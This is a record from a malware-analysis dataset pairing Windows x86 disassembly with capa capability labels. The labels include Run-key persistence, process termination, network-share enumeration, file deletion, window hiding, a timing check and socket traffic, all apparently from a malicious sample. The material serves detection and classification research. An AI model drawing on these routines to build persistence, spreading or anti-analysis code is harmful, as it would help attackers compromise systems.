joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40589c
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x405a2c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403894
cmp eax, 2
jl 0x405a01
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x150]
mov ecx, 0x405a44
mov edx, dword [ebp - 4]
call fcn.004038e0
mov eax, dword [ebp - 0x150]
call fcn.00403a94
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4059d9
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.0040387c
mov ecx, dword [ebp - 0x154]
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004038e0
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.0040387c
test byte [ebp - 0x14c], 0x10
je 0x4059a2
mov eax, dword [ebp - 0xc]
mov edx, 0x405a50
call fcn.004039e0
je 0x4059c4
mov eax, dword [ebp - 0xc]
mov edx, 0x405a5c
call fcn.004039e0
je 0x4059c4
lea eax, [ebp - 0x158]
mov ecx, 0x405a68
mov edx, dword [ebp - 8]
call fcn.004038e0
mov eax, dword [ebp - 0x158]
call fcn.0040589c
jmp 0x4059c4
mov eax, dword [ebp - 8]
call fcn.00403a94
mov esi, eax
push esi
call sub.kernel32.dll_DeleteFileA
test eax, eax
jne 0x4059c4
push 0x20
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x14c]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x405921
push ebx
call sub.kernel32.dll_FindClose
mov eax, dword [ebp - 4]
call fcn.00403a94
mov ebx, eax
push ebx
call sub.kernel32.dll_RemoveDirectoryA
test eax, eax
jne 0x405a01
push 0x20
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
call sub.kernel32.dll_RemoveDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a33
lea eax, [ebp - 0x158]
mov edx, 3
call fcn.00403740
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403740
ret
Function at 0x405bb8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x405cc8
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x130]
mov eax, dword [ebp - 4]
call fcn.004053f4
mov edx, dword [ebp - 0x130]
lea eax, [ebp - 4]
call fcn.004037b4
xor edx, edx
mov eax, 2
call fcn.00405164
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.00405184
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x405c98
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.0040387c
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.004053f4
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.004039e0
jne 0x405c89
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb ebx, ebx
inc ebx
mov edx, edi
mov eax, esi
call fcn.004051a4
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x405c3a
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ccf
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.00403740
lea eax, [ebp - 4]
call fcn.0040371c
ret
Function at 0x4060bc
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406149
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
call sub.kernel32.dll_GetLastError_1
test eax, eax
jne 0x406127
test ebx, ebx
je 0x406127
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, esi
call fcn.0040384c
jmp 0x40612e
mov eax, esi
call fcn.0040371c
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406150
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x406468
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4064c8
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x15]
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0x15]
mov ecx, 0x11
call fcn.0040387c
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.004053b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4064cf
lea eax, [ebp - 0x1c]
call fcn.0040371c
ret

Function at 0x4064d4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406553
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.0040387c
lea eax, [ebp - 0x10c]
mov edx, 0x406568
call fcn.0040389c
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.004053f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40655a
lea eax, [ebp - 0x10c]
call fcn.0040371c
ret
Function at 0x406670
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406713
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x4156c0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x4156c4], eax
mov dword [ebp - 0x10], 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov dword [0x4156c4], eax
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40671a
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret

Function at 0x406724
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x4067e8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4156c0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x4156c4], eax
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.00403bc4
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebx]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov dword [0x4156c4], eax
cmp dword [0x4156c4], 0
jne 0x4067bb
mov eax, dword [ebx]
call fcn.00403a94
mov edx, eax
mov eax, ebx
call fcn.0040384c
jmp 0x4067c2
mov eax, ebx
call fcn.0040371c
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4067ef
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x4067f8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
mov eax, dword [ebp + 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x4068cc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4156c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x4156c4], eax
cmp dword [ebp + 8], 0
jne 0x406865
lea eax, [ebp + 8]
mov edx, 0x4068e4
call fcn.004037b4
mov eax, dword [ebp + 8]
call fcn.00403894
push eax
lea eax, [ebp + 8]
call fcn.00403aec
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegSetValueExA
mov dword [0x4156c4], eax
cmp dword [0x4156c4], 0
sete bl
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4068d3
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
lea eax, [ebp + 8]
call fcn.0040371c
ret

Function at 0x4068e8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x40698d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4156c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x4156c4], eax
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegSetValueExA
mov dword [0x4156c4], eax
cmp dword [0x4156c4], 0
sete bl
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406994
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret

Function at 0x4069a0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406a22
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, 0x406a38
call fcn.00405850
test al, al
jne 0x406a0c
mov eax, dword [ebp - 4]
call fcn.00403a94
mov ebx, eax
push ebx
push esi
call sub.advapi32.dll_RegDeleteKeyA
push 0
push 0x4156c0
push 0
push 6
push 2
push 0
push 0
push ebx
push esi
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
sete al
mov ebx, eax
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a29
lea eax, [ebp - 4]
call fcn.0040371c
ret
Function at 0x406acc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406b5b
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
jne 0x406b0c
lea eax, [ebp - 8]
mov edx, 0x406b74
call fcn.004037b4
mov eax, dword [ebp - 8]
call fcn.00403894
push eax
lea eax, [ebp - 8]
call fcn.00403aec
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov dword [0x4156c4], eax
cmp dword [0x4156c4], 0
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b62
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret

Function at 0x406b78
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406bdb
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov dword [0x4156c4], eax
cmp dword [0x4156c4], 0
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406be2
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x406bec
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406c82
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4156c0
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x4156c4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov dword [0x4156c4], eax
cmp dword [0x4156c4], 0
sete bl
mov eax, dword [0x4156c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c89
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x407048
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x4072a6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x415b14
mov edx, 0x4072bc
call fcn.00403770
lea eax, [ebp - 4]
mov ecx, 0x4072e4
mov edx, dword [0x415adc]
call fcn.004038e0
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x4072fc
mov edx, 0x407310
mov eax, 0x80000002
call fcn.004067f8
lea eax, [ebp - 8]
mov ecx, 0x4072e4
mov edx, dword [0x415adc]
call fcn.004038e0
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x4072fc
mov edx, 0x407348
mov eax, 0x80000001
call fcn.004067f8
lea eax, [ebp - 0xc]
mov ecx, 0x4072e4
mov edx, dword [0x415adc]
call fcn.004038e0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, 0x4072fc
mov edx, 0x407390
mov eax, 0x80000002
call fcn.004067f8
lea eax, [ebp - 0x10]
mov ecx, 0x4073d0
mov edx, dword [0x415adc]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
push eax
mov edx, 0x407310
mov ecx, 0x4073e4
mov eax, 0x80000001
call fcn.004067f8
lea eax, [ebp - 0x14]
mov ecx, 0x4073f4
mov edx, dword [0x415adc]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
push eax
mov edx, 0x407348
mov ecx, 0x40740c
mov eax, 0x80000002
call fcn.004067f8
mov eax, 0x415b14
mov edx, 0x407420
call fcn.00403770
cmp byte [0x415b44], 0
jne 0x40728b
push 0
mov ecx, 0x407484
mov edx, 0x40749c
mov eax, 0x80000002
call fcn.004067f8
push 0x4074d0
mov edx, 0x40749c
mov ecx, 0x4074e0
mov eax, 0x80000002
call fcn.004067f8
push 0x4074f8
mov edx, 0x40749c
mov ecx, 0x407534
mov eax, 0x80000002
call fcn.004067f8
push 0x407548
mov edx, 0x40749c
mov ecx, 0x407564
mov eax, 0x80000002
call fcn.004067f8
push 0x407578
mov edx, 0x40749c
mov ecx, 0x40758c
mov eax, 0x80000002
call fcn.004067f8
push 0x40759c
mov edx, 0x40749c
mov ecx, 0x4075b0
mov eax, 0x80000002
call fcn.004067f8
lea eax, [ebp - 0x18]
mov ecx, 0x4072e4
mov edx, dword [0x415adc]
call fcn.004038e0
mov eax, dword [ebp - 0x18]
push eax
mov edx, 0x40749c
mov ecx, 0x4075c4
mov eax, 0x80000002
call fcn.004067f8
push 1
mov edx, 0x40749c
mov ecx, 0x4075d8
mov eax, 0x80000002
call fcn.004068e8
push 3
mov edx, 0x40749c
mov ecx, 0x4075f0
mov eax, 0x80000002
call fcn.004068e8
push 2
mov edx, 0x40749c
mov ecx, 0x40760c
mov eax, 0x80000002
call fcn.004068e8
push 0x120
mov edx, 0x40749c
mov ecx, 0x40761c
mov eax, 0x80000002
call fcn.004068e8
mov eax, 0x415b14
mov edx, 0x40762c
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4072ad
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00403740
ret
Function at 0x4078a4
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
lea eax, [ebp - 0x10]
push eax
call sub.kernel32.dll_QueryPerformanceFrequency
lea eax, [ebp - 0x18]
push eax
call sub.kernel32.dll_QueryPerformanceCounter_1
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, dword [ebp - 0x10]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
call fcn.004078a0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
lea eax, [ebp - 0x18]
push eax
call sub.kernel32.dll_QueryPerformanceCounter_1
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x1c]
jne 0x4078f4
cmp eax, dword [ebp - 0x20]
jb 0x4078d9
jmp 0x4078f6
jl 0x4078d9
call fcn.004078a0
sub eax, dword [ebp - 0x28]
sbb edx, dword [ebp - 0x24]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40bd18
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x40bd20
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x40bf33
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x415b14
mov edx, 0x40bf4c
call fcn.00403770
lea eax, [ebp - 4]
push eax
push ebx
push 0
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40bf18
mov dword [ebp - 0xc], 0x7e0
mov eax, dword [ebp - 0xc]
call fcn.004024d0
mov esi, eax
mov eax, esi
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.00402bd8
mov dword [ebp - 8], 0x3f
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
je 0x40bda7
cmp eax, 0xea
jne 0x40bef9
mov eax, dword [ebp - 8]
dec eax
test eax, eax
jl 0x40bd7f
inc eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov edi, ebx
shl edi, 2
test byte [esi + edi*8 + 0xc], 2
je 0x40bdc9
lea eax, [esi + edi*8]
call fcn.0040bd18
cmp dword [esi + edi*8 + 8], 3
jne 0x40beea
lea eax, [ebp - 0x14]
mov edx, dword [esi + edi*8 + 0x14]
call fcn.0040384c
mov edx, dword [ebp - 0x14]
mov eax, 0x415afc
mov ecx, 0x40bf88
call fcn.004038e0
inc dword [0x415b2c]
mov eax, dword [0x415b2c]
cmp eax, dword [0x415b30]
jl 0x40beea
mov eax, dword [0x415b2c]
push eax
mov ecx, 0x40bf94
mov edx, 0x40bfa4
mov eax, 0x80000002
call fcn.004068e8
mov eax, dword [0x415afc]
push eax
mov edx, 0x40bfa4
mov ecx, 0x40bfec
mov eax, 0x80000002
call fcn.004067f8
xor eax, eax
mov dword [0x415b28], eax
mov word [0x41413c], 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x415ad8]
call fcn.00403894
mov ecx, eax
mov edx, 3
mov eax, dword [0x415afc]
call fcn.00403af4
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.004053b8
mov eax, dword [ebp - 0x18]
mov edx, dword [0x415ad8]
call fcn.004039e0
jne 0x40bea4
lea eax, [ebp - 0x20]
mov ecx, dword [0x415afc]
mov edx, 0x40bffc
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00412de0
jmp 0x40bec9
mov eax, dword [0x415afc]
call fcn.0040b4b0
lea eax, [ebp - 0x24]
mov ecx, dword [0x415afc]
mov edx, 0x40c010
call fcn.004038e0
mov eax, dword [ebp - 0x24]
call fcn.00412de0
xor eax, eax
mov dword [0x415b24], eax
mov eax, dword [0x415b24]
push eax
mov edx, 0x40bfa4
mov ecx, 0x40c020
mov eax, 0x80000002
call fcn.004068e8
inc ebx
dec dword [ebp - 0x10]
jne 0x40bdb5
jmp 0x40bd7f
mov eax, esi
call fcn.004024f0
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetCloseEnum
mov eax, 0x415b14
mov edx, 0x40bf4c
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bf3a
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00403740
ret
Function at 0x40c2b0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x40c457
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x415b14
mov edx, 0x40c470
call fcn.00403770
mov eax, dword [ebp - 4]
call fcn.00403894
test eax, eax
jle 0x40c349
lea eax, [ebp - 4]
mov edx, 0x40c4a8
call fcn.0040389c
push 0
mov eax, dword [ebp - 4]
call fcn.00403894
push eax
lea eax, [ebp - 4]
call fcn.00403aec
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
test bl, bl
jne 0x40c349
mov edx, esi
mov eax, edi
call fcn.00405370
jmp 0x40c431
lea eax, [ebp - 0x108]
xor ecx, ecx
mov edx, 0xff
call fcn.00402bd8
push 0
push 0xff
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
mov edi, eax
inc edi
je 0x40c425
mov eax, esi
lea edx, [ebp - 0x108]
mov ecx, pe_nt_image_headers32
call fcn.0040387c
mov eax, dword [ebp - 8]
call fcn.00403894
cmp eax, 3
jne 0x40c431
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, byte [ebp - 0x108]
jne 0x40c3ca
mov eax, dword [ebp - 8]
mov al, byte [eax + 1]
cmp al, byte [ebp - 0x107]
jne 0x40c3ca
mov eax, dword [ebp - 8]
mov al, byte [eax + 2]
cmp al, byte [ebp - 0x106]
je 0x40c431
push 0x40c4b4
push dword [ebp - 4]
push 0x40c4c8
push dword [ebp - 8]
push 0x40c4dc
push 0x40c4a8
push dword [esi]
push 0x40c4a8
push dword [0x495b6c]
lea eax, [ebp - 0x10c]
mov edx, 9
call fcn.00403954
mov eax, dword [ebp - 0x10c]
call fcn.00412de0
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffc
call fcn.004061e4
mov eax, esi
mov edx, 0x40c4e8
call fcn.00403770
jmp 0x40c431
mov eax, esi
mov edx, 0x40c4e8
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c45e
lea eax, [ebp - 0x10c]
call fcn.0040371c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x40ccc4
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0
push 0x40cd04
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40cd10
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40cd30
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x40d710
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40d7b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x415b14
mov edx, 0x40d7cc
call fcn.00403770
push 0xfa
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.0040387c
mov edx, dword [ebp - 4]
mov eax, 0x40d7e8
call fcn.00403b7c
test eax, eax
jne 0x40d79d
mov edx, dword [ebp - 4]
mov eax, 0x40d7f8
call fcn.00403b7c
test eax, eax
jne 0x40d79d
mov edx, dword [ebp - 4]
mov eax, 0x40d80c
call fcn.00403b7c
test eax, eax
jne 0x40d79d
xor ebx, ebx
jmp 0x40d79f
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d7bc
lea eax, [ebp - 4]
call fcn.0040371c
ret